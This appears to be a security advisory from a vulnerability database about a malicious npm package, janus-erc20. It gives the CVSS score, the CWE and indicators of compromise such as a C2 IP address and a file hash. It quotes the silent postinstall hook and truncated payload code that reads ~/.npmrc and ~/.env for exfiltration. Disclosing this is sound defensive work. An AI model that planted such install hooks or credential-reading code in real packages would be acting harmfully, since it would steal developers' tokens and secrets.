VDB
GCVE-110-OSM-2026-5696
GCVE-110-OSM-2026-5696
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, install-time execution.
Entrypoint: postinstall.js (install-hook: node postinstall.js 2>/dev/null || true)
Exfil: 193.203.169.109 (custom-c2, recovery: plaintext in postinstall.js)
Payload: postinstall.js
Key findings:
- Sensitive File Access in postinstall.js: ""/.npmrc""
- Install Hook Executes Local JS File in package.json: ""postinstall": "node postinstall.js 2>/dev/null || true""
- System Information Exfiltration in postinstall.js: "os.homedir()+"/.env"].forEach(p=>{try{d["f_"+p]=fs.readFileSync(p,"utf8").substr..."
- HTTP Data Exfiltration in postinstall.js: "os.homedir()+"/.npmrc"].forEach(p=>{try{d["f_"+p]=fs.readFileSync(p,"utf8").subs..."
IOCs:
- ipv4: 193.203.169.109
- payloadFileHash: 8e0fa7cb23c4c3c0466ff90be1f4be19b977073b7a48f592d4dba06cf37e4025
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | janus-erc20 | all (affected) | — |
Aliases
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